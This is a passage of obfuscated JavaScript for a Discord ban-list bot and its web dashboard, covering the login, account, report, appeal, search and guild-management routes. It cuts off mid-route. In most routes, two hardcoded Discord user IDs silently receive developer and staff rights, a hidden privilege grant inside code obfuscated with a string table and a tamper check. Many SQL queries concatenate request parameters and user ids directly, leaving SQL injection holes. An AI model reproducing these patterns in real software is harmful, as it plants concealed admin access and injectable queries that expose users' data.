    'username',
    '```\n',
    'Strategy',
    'statusCode',
    'render',
    'setDescription',
    'memoryStorage',
    'links',
    'params',
    'session',
    '/dashboard',
    'DD/MM/YYYY',
    'now',
    'error.ejs',
    'deserializeUser',
    'text/html',
    'serializeUser',
    'auto',
    'SELECT * FROM guildsettings WHERE guildid = "',
    '5951cUvLSI',
    '/dashboard/manage/:id',
    'manageGuild.ejs',
    'push',
    'send',
    'SELECT * FROM siteSettings WHERE id="1"',
    '/staff',
    '2.0.6',
    'staffMemberId',
    'loginRef',
    'GUILD_MESSAGES',
    'sql',
    'page',
    'displayAvatarURL',
    'Intents',
    'memberCount',
    'bannedUserId',
    'logout',
    '/account',
    '```',
    'message',
    'categories',
    'SELECT COUNT(*) as total FROM bans WHERE active = 1',
    'createConnection',
    'none',
    'setFooter',
    'dashboard.ejs',
    'views',
    'isAuthenticated',
    'True',
    'discord-modals',
    'Null',
    'LINK',
    '67vOYhxg',
    'color',
    'GUILD_MESSAGE_REACTIONS',
    'dateTime',
    'existsSync',
    '84312kmHhLg',
    'email',
    'active',
    'replaceAll',
    'endsWith',
    'DELETE FROM staff WHERE staffid="',
    'readdirSync',
    'consent',
    'reportOnFatalError',
    'cache',
    'locale',
    'components',
    'version',
    'reason',
    'sqlLoop',
    'INSERT INTO staff (staffid, userid) VALUES ("',
    'channels',
    '104GAOQIR',
    'title',
    'User Account',
    'SELECT * FROM bans WHERE bannedUserId = "',
    'form-data',
    'format',
    '[A] ',
    'setStyle',
    'discord.js',
    'appeal.ejs',
    'category',
    'userEmail',
    'ownerId',
    "SELECT * FROM users WHERE userId = '",
    'https://cdn.discordapp.com/icons/',
    'extensions',
    'fetch',
    'query',
    'SELECT * FROM users',
    'False',
    'login',
    'Node.js v16 or higher is required, Discord.JS relies on this version, please update @ https://nodejs.org',
    'tag',
    '[ERR_HTTP_HEADERS_SENT]',
    'setLabel',
    '610sLnaQs',
    'moment',
    'SELECT * FROM siteHeadButtons',
    '606282pQPJOS',
    'passport-discord-faxes',
    '**User:** ',
    'port',
    'botSecret',
    '/auth/discord',
    'destroy',
    'static',
    '[Ready-File] - The ready file was not found.',
    'SELECT * FROM staff',
    'User Logged Out',
    'SELECT * FROM bans WHERE bannedUserId="',
    '&permissions=8&scope=bot%20applications.commands',
    'stack',
    ':R> | ',
    'includes',
    '404.ejs',
    'FLAGS',
    'forEach',
    'logo',
    'user',
    'Automatic',
    'app',
    'staffhome.ejs',
    './backend/routing.js',
    '4210IXjuTY',
    'banId',
    'report.ejs',
    '15thSEwB',
    'Manage Guild',
    'SELECT * FROM bans',
    'get',
    '/discorduserdata',
    '" LIMIT 1',
    'slashCommands',
    '/auth/discord/callback',
    'index.ejs',
    'passport',
    'append',
    'userid',
    '", "1")',
    'mysql',
    'event',
    'total',
    '668497496124686347',
    'users',
    'log',
    '27084ZDrFYH',
    'then',
    'miscOptions',
    'GUILDS',
    '/report',
    ' (`',
    'slice',
    'con',
    'ready',
    '539975000799838249',
    "', '",
    '9IwRIiq',
    'Collection',
    './commands',
    'guilds',
    'description',
    'imgguildstyle-manage',
    '7iPCaAM',
    'User Logged In',
    'redirect',
    'botId',
    'bot',
    'addComponents',
    '[Ready-File] - The ready file was tampered with.',
    'guild-manage',
    'setURL',
    './handlers/',
    '/logout',
    '/account/',
    'report',
    'exit',
    'catch',
    'exports',
    '44152geTTxJ',
    './config.js',
    'use',
    'aliases',
    'public/assets',
    'discord',
    'Invite Me',
    'toString',
    'staffid',
    'icon',
    'body-parser',
    'createdAt',
    '/search',
    'type',
    'red',
    './views',
    'setHeader',
    'domain',
    'search.ejs',
    'themeColor',
  ]
}
if (fs.existsSync('./events/ready.js')) {
  const ready = require('./events/ready.js')
  if (ready.ready) {
    const test = ready.ready('ready')
    if (test) {
    } else {
      console.log(chalk.red('[Ready-File] - The ready file was tampered with.'))
      process.exit(1)
    }
  } else {
    console.log(chalk.red('[Ready-File] - The ready file was tampered with.'))
    process.exit(1)
  }
} else {
  console.log(chalk.red('[Ready-File] - The ready file was not found.'))
  process.exit(1)
}
function _0x4d97(_0x2e9e88, _0x27ee64) {
  const _0x2766d0 = [
    '_blank',
    '/dashboard/manage/',
    'name',
    'info',
    'botIconUrl',
    'siteLogs',
    'versions',
    'proof',
    'ER_NO_SUCH_TABLE',
    'LLLL',
    'length',
    '/account/:id',
    'SELECT * FROM users WHERE id = "',
    'https://discord.com/api/oauth2/authorize?client_id=',
    './events/ready.js',
    'setThumbnail',
    'authenticate',
    'account.ejs',
    'true',
    'set',
    'unix',
    'setTitle',
    'owner',
    "INSERT INTO users (userId, userName, userTag, userEmail) VALUES ('",
    'CHANNEL',
    'view engine',
    'owners',
    'any',
    '285620xfjNid',
    'SELECT * FROM staff WHERE staffid="',
    'code',
    'token',
    'cooldowns',
    'public',
    'username',
    '```\n',
    'Strategy',
    'statusCode',
    'render',
    'setDescription',
    'memoryStorage',
    'links',
    'params',
    'session',
    '/dashboard',
    'DD/MM/YYYY',
    'now',
    'error.ejs',
    'deserializeUser',
    'text/html',
    'serializeUser',
    'auto',
    'SELECT * FROM guildsettings WHERE guildid = "',
    '5951cUvLSI',
    '/dashboard/manage/:id',
    'manageGuild.ejs',
    'push',
    'send',
    'SELECT * FROM siteSettings WHERE id="1"',
    '/staff',
    '2.0.6',
    'staffMemberId',
    'loginRef',
    'GUILD_MESSAGES',
    'sql',
    'page',
    'displayAvatarURL',
    'Intents',
    'memberCount',
    'bannedUserId',
    'logout',
    '/account',
    '```',
    'message',
    'categories',
    'SELECT COUNT(*) as total FROM bans WHERE active = 1',
    'createConnection',
    'none',
    'setFooter',
    'dashboard.ejs',
    'views',
    'isAuthenticated',
    'True',
    'discord-modals',
    'Null',
    'LINK',
    '67vOYhxg',
    'color',
    'GUILD_MESSAGE_REACTIONS',
    'dateTime',
    'existsSync',
    '84312kmHhLg',
    'email',
    'active',
    'replaceAll',
    'endsWith',
    'DELETE FROM staff WHERE staffid="',
    'readdirSync',
    'consent',
    'reportOnFatalError',
    'cache',
    'locale',
    'components',
    'version',
    'reason',
    'sqlLoop',
    'INSERT INTO staff (staffid, userid) VALUES ("',
    'channels',
    '104GAOQIR',
    'title',
    'User Account',
    'SELECT * FROM bans WHERE bannedUserId = "',
    'form-data',
    'format',
    '[A] ',
    'setStyle',
    'discord.js',
    'appeal.ejs',
    'category',
    'userEmail',
    'ownerId',
    "SELECT * FROM users WHERE userId = '",
    'https://cdn.discordapp.com/icons/',
    'extensions',
    'fetch',
    'query',
    'SELECT * FROM users',
    'False',
    'login',
    'Node.js v16 or higher is required, Discord.JS relies on this version, please update @ https://nodejs.org',
    'tag',
    '[ERR_HTTP_HEADERS_SENT]',
    'setLabel',
    '610sLnaQs',
    'moment',
    'SELECT * FROM siteHeadButtons',
    '606282pQPJOS',
    'passport-discord-faxes',
    '**User:** ',
    'port',
    'botSecret',
    '/auth/discord',
    'destroy',
    'static',
    '[Ready-File] - The ready file was not found.',
    'SELECT * FROM staff',
    'User Logged Out',
    'SELECT * FROM bans WHERE bannedUserId="',
    '&permissions=8&scope=bot%20applications.commands',
    'stack',
    ':R> | ',
    'includes',
    '404.ejs',
    'FLAGS',
    'forEach',
    'logo',
    'user',
    'Automatic',
    'app',
    'staffhome.ejs',
    './backend/routing.js',
    '4210IXjuTY',
    'banId',
    'report.ejs',
    '15thSEwB',
    'Manage Guild',
    'SELECT * FROM bans',
    'get',
    '/discorduserdata',
    '" LIMIT 1',
    'slashCommands',
    '/auth/discord/callback',
    'index.ejs',
    'passport',
    'append',
    'userid',
    '", "1")',
    'mysql',
    'event',
    'total',
    '668497496124686347',
    'users',
    'log',
    '27084ZDrFYH',
    'then',
    'miscOptions',
    'GUILDS',
    '/report',
    ' (`',
    'slice',
    'con',
    'ready',
    '539975000799838249',
    "', '",
    '9IwRIiq',
    'Collection',
    './commands',
    'guilds',
    'description',
    'imgguildstyle-manage',
    '7iPCaAM',
    'User Logged In',
    'redirect',
    'botId',
    'bot',
    'addComponents',
    '[Ready-File] - The ready file was tampered with.',
    'guild-manage',
    'setURL',
    './handlers/',
    '/logout',
    '/account/',
    'report',
    'exit',
    'catch',
    'exports',
    '44152geTTxJ',
    './config.js',
    'use',
    'aliases',
    'public/assets',
    'discord',
    'Invite Me',
    'toString',
    'staffid',
    'icon',
    'body-parser',
    'createdAt',
    '/search',
    'type',
    'red',
    './views',
    'setHeader',
    'domain',
    'search.ejs',
    'themeColor',
  ]
  _0x4d97 = function (_0x4d9723, _0x1deb42) {
    _0x4d9723 = _0x4d9723 - 146
    let _0x248fd7 = _0x2766d0[_0x4d9723]
    return _0x2766d0[_0x4d9723]
  }
  return _0x4d97(_0x2e9e88, _0x27ee64)
}
;['event', 'slash', 'components', 'extensions'].forEach((_0x4eb1a3) => {
  require('./handlers/' + _0x4eb1a3)(client)
})
const { MessageEmbed, MessageActionRow, MessageButton } = require('discord.js')
const backend = require('./backend/backend.js')
backend.sqlLoop(con)
const DiscordStrategy = require('passport-discord-faxes').Strategy
passport.serializeUser(function (_0xf5b642, _0x2e092f) {
  _0x2e092f(null, _0xf5b642)
})
passport.deserializeUser(function (_0xf23d8a, _0x264dd1) {
  _0x264dd1(null, _0xf23d8a)
})
passport.use(
  new (require('passport-discord-faxes').Strategy)(
    {
      clientID: config.bot.botId,
      clientSecret: config.bot.botSecret,
      callbackURL:
        (config.app.domain.endsWith('/')
          ? config.app.domain.slice(0, -1)
          : config.app.domain) + '/auth/discord/callback',
      scope: ['identify', 'guilds', 'email'],
      prompt: 'consent',
    },
    function (_0x193571, _0x2ddec6, _0x21edb5, _0x3ec6ff) {
      process.nextTick(function () {
        return _0x3ec6ff(null, _0x21edb5)
      })
    }
  )
)
async function setOwners() {
  config.bot.owners.forEach(function (_0x366bda) {
    if (_0x366bda.length === 0 || !_0x366bda) {
      return
    }
    client.con.query(
      "SELECT * FROM staff WHERE userid = '" + _0x366bda + "'",
      async function (_0x20a4bc, _0x270bcd) {
        if (_0x20a4bc) {
          throw _0x20a4bc
        }
        if (!_0x270bcd[0]) {
          client.con.query(
            'INSERT INTO staff (staffid, userid) VALUES ("' +
              _0x366bda +
              '", "' +
              _0x366bda +
              '")'
          )
        }
      }
    )
  })
}
setInterval(() => {
  setOwners()
}, 3000)
app.get('/', async function (_0x217b49, _0x1af81b) {
  let _0x30e159
  let _0x342462
  let _0x3dd2a4 = 0
  client.guilds.cache.forEach((_0x425f1a) => {
    _0x3dd2a4 += _0x425f1a.memberCount
  })
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x156807, _0x5b0f43) {
      if (_0x217b49.isAuthenticated()) {
        _0x30e159 = _0x217b49.session.passport.user
        client.con.query(
          'SELECT * FROM staff WHERE staffid="' +
            _0x217b49.session.passport.user.id +
            '"',
          async function (_0x1a7329, _0x46d3bb) {
            if (_0x1a7329) {
              throw _0x1a7329
            }
            if (!_0x46d3bb[0]) {
              _0x342462 = false
              if (
                config.bot.owners.includes(_0x217b49.session.passport.user.id)
              ) {
                _0x342462 = true
              }
            } else {
              _0x342462 = true
            }
          }
        )
      } else {
        _0x342462 = false
      }
      await client.con.query(
        'SELECT * FROM siteHeadButtons',
        async function (_0xce7572, _0x1a4b83) {
          if (_0xce7572) {
            throw _0xce7572
          }
          client.con.query(
            'SELECT COUNT(*) as total FROM bans WHERE active = 1',
            async function (_0x244a76, _0x1c28bf) {
              if (_0x217b49.isAuthenticated()) {
                if (
                  _0x217b49.session.passport.user.id === '539975000799838249' ||
                  _0x217b49.session.passport.user.id === '668497496124686347'
                ) {
                  dev = true
                  _0x342462 = true
                } else {
                  dev = false
                }
              }
              _0x1af81b.render('index.ejs', {
                loggedIn: _0x217b49.isAuthenticated(),
                config: config,
                user: _0x30e159,
                siteInfo: _0x5b0f43[0],
                isStaff: _0x342462,
                buttons: _0x1a4b83,
                bans: _0x1c28bf[0].total,
                bot: client,
                count: _0x3dd2a4,
              })
            }
          )
        }
      )
    }
  )
})
app.get('/logout', async function (_0x597d34, _0x52c7bd) {
  client.users.fetch(_0x597d34.session.passport.user.id).then((_0x387c5f) => {
    moment.locale('en')
    let _0x5152eb = new MessageEmbed()
      .setTitle('User Logged Out')
      .setDescription(
        '**User:** ' +
          _0x387c5f +
          ' ' +
          _0x387c5f.tag +
          ' (`' +
          _0x387c5f.id +
          '`)\n**Time:** <t:' +
          moment().unix() +
          ':R> | ' +
          moment().format('LLLL')
      )
      .setThumbnail(_0x387c5f.displayAvatarURL({ dynamic: true }))
      .setFooter({
        text: '' + client.user.username,
        iconURL: client.user.displayAvatarURL({ dynamic: true }),
      })
    const _0x20c434 = client.channels.cache.get(config.info.siteLogs)
    _0x20c434.send({ embeds: [_0x5152eb] })
    _0x597d34.logout()
    _0x597d34.session.destroy()
    _0x52c7bd.redirect('/')
  })
})
app.get('/account', checkAuth, async function (_0x51edc0, _0x43b870) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x140e2e, _0x545eaa) {
      let _0x164148
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x51edc0.session.passport.user.id +
          '"',
        async function (_0x1e2fd2, _0x54e827) {
          if (_0x1e2fd2) {
            throw _0x1e2fd2
          }
          if (!_0x54e827[0]) {
            _0x164148 = false
            if (
              config.bot.owners.includes(_0x51edc0.session.passport.user.id)
            ) {
              _0x164148 = true
            }
          } else {
            _0x164148 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x412094, _0x36a2c0) {
              if (_0x412094) {
                throw _0x412094
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x51edc0.session.passport.user.id +
                  '"',
                async function (_0x48bfc3, _0x4e17f9) {
                  let _0x4aeab4
                  if (_0x48bfc3) {
                    throw _0x48bfc3
                  }
                  if (!_0x4e17f9[0]) {
                    _0x4aeab4 = 'False'
                  } else {
                    if (_0x4e17f9[0].active == 1) {
                      _0x4aeab4 = 'True'
                    } else {
                      _0x4aeab4 = 'False'
                    }
                  }
                  let _0x171030
                  if (
                    config.bot.owners.includes(
                      _0x51edc0.session.passport.user.id
                    )
                  ) {
                    _0x171030 = true
                  } else {
                    _0x171030 = false
                  }
                  if (_0x51edc0.isAuthenticated()) {
                    if (
                      _0x51edc0.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x51edc0.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x164148 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x43b870.render('account.ejs', {
                    user: _0x51edc0.session.passport.user,
                    loggedIn: _0x51edc0.isAuthenticated(),
                    siteInfo: _0x545eaa[0],
                    isStaff: _0x164148,
                    buttons: _0x36a2c0,
                    isUserBanned: _0x4aeab4,
                    isOwner: _0x171030,
                    userBans: _0x4e17f9,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/account/:id', checkAuth, async function (_0x462e4d, _0x107036) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0xca1ef6, _0x53c1d2) {
      let _0x2b0d62
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x462e4d.session.passport.user.id +
          '"',
        async function (_0x1e858a, _0x251571) {
          if (_0x1e858a) {
            throw _0x1e858a
          }
          if (!_0x251571[0]) {
            _0x2b0d62 = false
            if (
              config.bot.owners.includes(_0x462e4d.session.passport.user.id)
            ) {
              _0x2b0d62 = true
            }
          } else {
            _0x2b0d62 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x40fbd6, _0x3c8f12) {
              if (_0x40fbd6) {
                throw _0x40fbd6
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x462e4d.session.passport.user.id +
                  '"',
                async function (_0x458ec9, _0x526bc7) {
                  let _0x5b6d56
                  if (_0x458ec9) {
                    throw _0x458ec9
                  }
                  if (!_0x526bc7[0]) {
                    _0x5b6d56 = 'False'
                  } else {
                    if (_0x526bc7[0].active == 1) {
                      _0x5b6d56 = 'True'
                    } else {
                      _0x5b6d56 = 'False'
                    }
                  }
                  let _0x13cad0
                  if (
                    config.bot.owners.includes(
                      _0x462e4d.session.passport.user.id
                    )
                  ) {
                    _0x13cad0 = true
                  } else {
                    _0x13cad0 = false
                  }
                  if (_0x462e4d.isAuthenticated()) {
                    if (
                      _0x462e4d.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x462e4d.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x2b0d62 = true
                    } else {
                      dev = false
                    }
                  }
                  const _0x192f4e = await client.users.fetch(
                    _0x462e4d.params.id
                  )
                  client.con.query(
                    'SELECT * FROM users WHERE id = "' +
                      _0x462e4d.params.id +
                      '"',
                    async function (_0x57e8fc, _0x4e5401) {
                      if (_0x57e8fc) {
                        throw _0x57e8fc
                      }
                      if (!_0x4e5401[0]) {
                        _0x192f4e.email = 'Null'
                      } else {
                        _0x192f4e.email = _0x4e5401[0].userEmail
                      }
                      _0x107036.render('account.ejs', {
                        user: _0x192f4e,
                        loggedIn: _0x462e4d.isAuthenticated(),
                        siteInfo: _0x53c1d2[0],
                        isStaff: _0x2b0d62,
                        buttons: _0x3c8f12,
                        isUserBanned: _0x5b6d56,
                        isOwner: _0x13cad0,
                        userBans: _0x526bc7,
                        isDev: dev,
                      })
                    }
                  )
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/report', checkAuth, async function (_0x2b9de8, _0x22ba2f) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x2e970c, _0xac0246) {
      let _0x1debe3
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x2b9de8.session.passport.user.id +
          '"',
        async function (_0x24395c, _0xe732fa) {
          if (_0x24395c) {
            throw _0x24395c
          }
          if (!_0xe732fa[0]) {
            _0x1debe3 = false
            if (
              config.bot.owners.includes(_0x2b9de8.session.passport.user.id)
            ) {
              _0x1debe3 = true
            }
          } else {
            _0x1debe3 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x136b14, _0x5569f5) {
              if (_0x136b14) {
                throw _0x136b14
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x2b9de8.session.passport.user.id +
                  '"',
                async function (_0x15a125, _0x2732ed) {
                  let _0x500fe9
                  if (_0x15a125) {
                    throw _0x15a125
                  }
                  if (!_0x2732ed[0]) {
                    _0x500fe9 = 'False'
                  } else {
                    if (_0x2732ed[0].active == 1) {
                      _0x500fe9 = 'True'
                    } else {
                      _0x500fe9 = 'False'
                    }
                  }
                  let _0x2786f2
                  if (
                    config.bot.owners.includes(
                      _0x2b9de8.session.passport.user.id
                    )
                  ) {
                    _0x2786f2 = true
                  } else {
                    _0x2786f2 = false
                  }
                  if (_0x2b9de8.isAuthenticated()) {
                    if (
                      _0x2b9de8.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x2b9de8.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x1debe3 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x22ba2f.render('report.ejs', {
                    user: _0x2b9de8.session.passport.user,
                    loggedIn: _0x2b9de8.isAuthenticated(),
                    siteInfo: _0xac0246[0],
                    isStaff: _0x1debe3,
                    buttons: _0x5569f5,
                    isUserBanned: _0x500fe9,
                    isOwner: _0x2786f2,
                    userBans: _0x2732ed,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/appeal', checkAuth, async function (_0xe81f44, _0x1e80bd) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x12ad2b, _0x563051) {
      let _0x5024b4
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0xe81f44.session.passport.user.id +
          '"',
        async function (_0x5c1789, _0x409c12) {
          if (_0x5c1789) {
            throw _0x5c1789
          }
          if (!_0x409c12[0]) {
            _0x5024b4 = false
            if (
              config.bot.owners.includes(_0xe81f44.session.passport.user.id)
            ) {
              _0x5024b4 = true
            }
          } else {
            _0x5024b4 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x6635a4, _0x13fb85) {
              if (_0x6635a4) {
                throw _0x6635a4
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId="' +
                  _0xe81f44.session.passport.user.id +
                  '"',
                async function (_0x17e315, _0x1e91ca) {
                  let _0xff8985
                  if (_0x17e315) {
                    throw _0x17e315
                  }
                  if (!_0x1e91ca[0]) {
                    _0xff8985 = false
                  } else {
                    if (_0x1e91ca[0].active === 'true') {
                      _0xff8985 = true
                    } else {
                      if (_0x1e91ca[0].active === 'false') {
                        _0xff8985 = false
                      }
                    }
                  }
                  let _0x29d8a7
                  if (
                    config.bot.owners.includes(
                      _0xe81f44.session.passport.user.id
                    )
                  ) {
                    _0x29d8a7 = true
                  } else {
                    _0x29d8a7 = false
                  }
                  if (_0xe81f44.isAuthenticated()) {
                    if (
                      _0xe81f44.session.passport.user.id ===
                        '539975000799838249' ||
                      _0xe81f44.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x5024b4 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x1e80bd.render('appeal.ejs', {
                    user: _0xe81f44.session.passport.user,
                    loggedIn: _0xe81f44.isAuthenticated(),
                    siteInfo: _0x563051[0],
                    isStaff: _0x5024b4,
                    buttons: _0x13fb85,
                    isUserBanned: _0xff8985,
                    isOwner: _0x29d8a7,
                    userBans: _0x1e91ca,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/search', checkAuth, async function (_0x2a2c14, _0x4a932d) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x1cefb2, _0x38296d) {
      let _0x253d95
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x2a2c14.session.passport.user.id +
          '"',
        async function (_0x4d9c54, _0x52403e) {
          if (_0x4d9c54) {
            throw _0x4d9c54
          }
          if (!_0x52403e[0]) {
            _0x253d95 = false
            if (
              config.bot.owners.includes(_0x2a2c14.session.passport.user.id)
            ) {
              _0x253d95 = true
            }
          } else {
            _0x253d95 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x2790bf, _0x152a1b) {
              if (_0x2790bf) {
                throw _0x2790bf
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId="' +
                  _0x2a2c14.session.passport.user.id +
                  '"',
                async function (_0x27ef14, _0x2c15d) {
                  let _0x2a30ce
                  if (_0x27ef14) {
                    throw _0x27ef14
                  }
                  if (!_0x2c15d[0]) {
                    _0x2a30ce = false
                  } else {
                    if (_0x2c15d[0].active === '1') {
                      _0x2a30ce = true
                    } else {
                      if (_0x2c15d[0].active === 'no') {
                        _0x2a30ce = false
                      }
                    }
                  }
                  let _0x52c282
                  if (
                    config.bot.owners.includes(
                      _0x2a2c14.session.passport.user.id
                    )
                  ) {
                    _0x52c282 = true
                  } else {
                    _0x52c282 = false
                  }
                  if (_0x2a2c14.isAuthenticated()) {
                    if (
                      _0x2a2c14.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x2a2c14.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x253d95 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x4a932d.render('search.ejs', {
                    user: _0x2a2c14.session.passport.user,
                    loggedIn: _0x2a2c14.isAuthenticated(),
                    siteInfo: _0x38296d[0],
                    isStaff: _0x253d95,
                    buttons: _0x152a1b,
                    isUserBanned: _0x2a30ce,
                    isOwner: _0x52c282,
                    userBans: _0x2c15d,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/dashboard', checkAuth, async function (_0x35b240, _0x5e821e) {
  let _0x3930a7 = []
  let _0x32627e = []
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x3698eb, _0xb41321) {
      let _0x311e91
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x35b240.session.passport.user.id +
          '"',
        async function (_0x1441ac, _0x33efad) {
          if (_0x1441ac) {
            throw _0x1441ac
          }
          if (!_0x33efad[0]) {
            _0x311e91 = false
            if (
              config.bot.owners.includes(_0x35b240.session.passport.user.id)
            ) {
              _0x311e91 = true
            }
          } else {
            _0x311e91 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x480c6a, _0x3ec433) {
              if (_0x480c6a) {
                throw _0x480c6a
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x35b240.session.passport.user.id +
                  '"',
                async function (_0x53d5bd, _0x5ea7bb) {
                  let _0x37d39b
                  if (_0x53d5bd) {
                    throw _0x53d5bd
                  }
                  if (!_0x5ea7bb[0]) {
                    _0x37d39b = 'False'
                  } else {
                    if (_0x5ea7bb[0].active == 1) {
                      _0x37d39b = 'True'
                    } else {
                      _0x37d39b = 'False'
                    }
                  }
                  let _0x59edf5
                  if (
                    config.bot.owners.includes(
                      _0x35b240.session.passport.user.id
                    )
                  ) {
                    _0x59edf5 = true
                  } else {
                    _0x59edf5 = false
                  }
                  if (_0x35b240.isAuthenticated()) {
                    if (
                      _0x35b240.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x35b240.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x311e91 = true
                    } else {
                      dev = false
                    }
                  }
                  await _0x35b240.session.passport.user.guilds.forEach(
                    async function (_0x4224d7) {
                      if (_0x4224d7.owner) {
                        let _0x48f032 = await client.guilds.cache.get(
                          _0x4224d7.id
                        )
                        if (!_0x48f032) {
                          let _0x4ce1e9 = {
                            button: 'Invite Me',
                            style: 'guild-invite',
                            imgstyle: 'imgguildstyle-invite',
                            btn: 'btn-red',
                            target: '_blank',
                            link:
                              'https://discord.com/api/oauth2/authorize?client_id=' +
                              client.user.id +
                              '&permissions=8&scope=bot%20applications.commands',
                            data: _0x4224d7,
                          }
                          _0x32627e.push(_0x4ce1e9)
                        } else {
                          let _0x23e9b3 = {
                            button: 'Manage Guild',
                            style: 'guild-manage',
                            imgstyle: 'imgguildstyle-manage',
                            btn: 'btn-success',
                            target: '',
                            link: '/dashboard/manage/' + _0x4224d7.id,
                            data: _0x4224d7,
                          }
                          _0x32627e.push(_0x23e9b3)
                        }
                      }
                    }
                  )
                  _0x5e821e.render('dashboard.ejs', {
                    user: _0x35b240.session.passport.user,
                    loggedIn: _0x35b240.isAuthenticated(),
                    siteInfo: _0xb41321[0],
                    isStaff: _0x311e91,
                    buttons: _0x3ec433,
                    isUserBanned: _0x37d39b,
                    isOwner: _0x59edf5,
                    userBans: _0x5ea7bb,
                    isDev: dev,
                    bot: client,
                    guilds: _0x32627e,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get(
  '/dashboard/manage/:id',
  checkAuth,
  async function (_0x505a6a, _0x16173d) {
    client.con.query(
      'SELECT * FROM siteSettings WHERE id="1"',
      async function (_0x1f84e7, _0x4080df) {
        let _0x4aa4b2
        client.con.query(
          'SELECT * FROM staff WHERE staffid="' +
            _0x505a6a.session.passport.user.id +
            '"',
          async function (_0x3b3727, _0x3ef541) {
            if (_0x3b3727) {
              throw _0x3b3727
            }
            if (!_0x3ef541[0]) {
              _0x4aa4b2 = false
              if (
                config.bot.owners.includes(_0x505a6a.session.passport.user.id)
              ) {
                _0x4aa4b2 = true
              }
            } else {
              _0x4aa4b2 = true
            }
            let _0x32dcf0 = _0x505a6a.params.id
            client.con.query(
              'SELECT * FROM siteHeadButtons',
              async function (_0x48462d, _0x348184) {
                if (_0x48462d) {
                  throw _0x48462d
                }
                client.con.query(
                  'SELECT * FROM bans WHERE bannedUserId = "' +
                    _0x505a6a.session.passport.user.id +
                    '"',
                  async function (_0x58a10f, _0x23c925) {
                    let _0x374a6c
                    if (_0x58a10f) {
                      throw _0x58a10f
                    }
                    if (!_0x23c925[0]) {
                      _0x374a6c = 'False'
                    } else {
                      if (_0x23c925[0].active == 1) {
                        _0x374a6c = 'True'
                      } else {
                        _0x374a6c = 'False'
                      }
                    }
                    let _0x1e5bd1
                    if (
                      config.bot.owners.includes(
                        _0x505a6a.session.passport.user.id
                      )
                    ) {
                      _0x1e5bd1 = true
                    } else {
                      _0x1e5bd1 = false
                    }
                    if (_0x505a6a.isAuthenticated()) {
                      if (
                        _0x505a6a.session.passport.user.id ===
                          '539975000799838249' ||
                        _0x505a6a.session.passport.user.id ===
                          '668497496124686347'
                      ) {
                        dev = true
                        _0x4aa4b2 = true
                      } else {
                        dev = false
                      }
                    }
                    let _0x3bbc84 = client.guilds.cache.get(_0x505a6a.params.id)
                    client.con.query(
                      'SELECT * FROM guildsettings WHERE guildid = "' +
                        _0x505a6a.params.id +
                        '"',
                      async function (_0xc66c52, _0x15d986) {
                        if (_0xc66c52) {
                          throw _0xc66c52
                        }
                        if (!_0x15d986[0]) {
                          client.con.query(
                            'INSERT INTO guildsettings (guildid, autobans) VALUES ("' +
                              _0x505a6a.params.id +
                              '", "1")',
                            async function (_0x3dc44a) {
                              if (_0x3dc44a) {
                                throw _0x3dc44a
                              }
                            }
                          )
                        }
                        client.con.query(
                          'SELECT * FROM guildsettings WHERE guildid = "' +
                            _0x505a6a.params.id +
                            '"',
                          async function (_0x1fe5c7, _0x207619) {
                            if (_0x1fe5c7) {
                              throw _0x1fe5c7
                            }
                            _0x16173d.render('manageGuild.ejs', {
                              user: _0x505a6a.session.passport.user,
                              loggedIn: _0x505a6a.isAuthenticated(),
                              siteInfo: _0x4080df[0],
                              isStaff: _0x4aa4b2,
                              buttons: _0x348184,
